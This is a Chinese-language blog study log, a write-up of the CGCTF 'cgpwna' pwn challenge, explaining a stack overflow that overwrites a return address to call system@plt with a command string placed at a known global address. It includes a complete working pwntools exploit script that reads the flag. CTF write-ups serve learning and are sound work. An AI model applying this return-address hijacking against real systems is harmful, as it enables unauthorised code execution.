171222 pwn-CGCTF(pwn150)

1625-5 王子昂 总结《2017年12月22日》 【连续第448天总结】
A. CGCTF-cgpwna
B.
简单的栈溢出,作为复习用的第一题233结果还是折腾了好久 基本概念不清啦

很明显,message函数中存在栈溢出
这里写图片描述
A和n是全局变量,s是栈上的局部变量

虽然s的长度受限,但是因为是全局变量所以可以通过A的溢出来修改n
它们在bss段,发现n紧接着A后面,A的长度是28字节,因此只要超过28,小于60就可以修改n了
之后通过溢出s来覆盖保存的ebp和ReturnAddress
s放在ebp-30h的位置,因此加上0x34的offset就可以覆盖ReturnAddress

要把执行流劫持到哪里呢?
观察函数列表,发现有个pwnme,里面调用了_system函数
那么通过pwntools的ELF函数加载,取得system在plt表中的位置就行了(GOT表也一样)

注意system的调用方式:

mov [sp], &command
call system

call system的时候会push一个return address,再往后才是参数command,因此写payload的时候也要同样留出4个字节的offset

command参数是一个字符串的指针
因为我们只有A可以用来放字符串,并且地址已知
因此向A写入command,并把A的地址作为system的参数即可

payload如下

from pwn import *
# r = remote('182.254.217.142', 10001)
p = ELF('/root/ctf/nuptzj/cgpwna')
r = process('/root/ctf/nuptzj/cgpwna')

r.sendline('1')
r.sendline('cat /home/pwn/flag\0'+'a'*(0x28))
payload = 'a'*(0x34) + p32(p.plt['system'])+'a'*4+p32(0x804a080)
r.sendline(payload)
a = r.recvall()
log.info(a)

C. 明日计划
看书

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值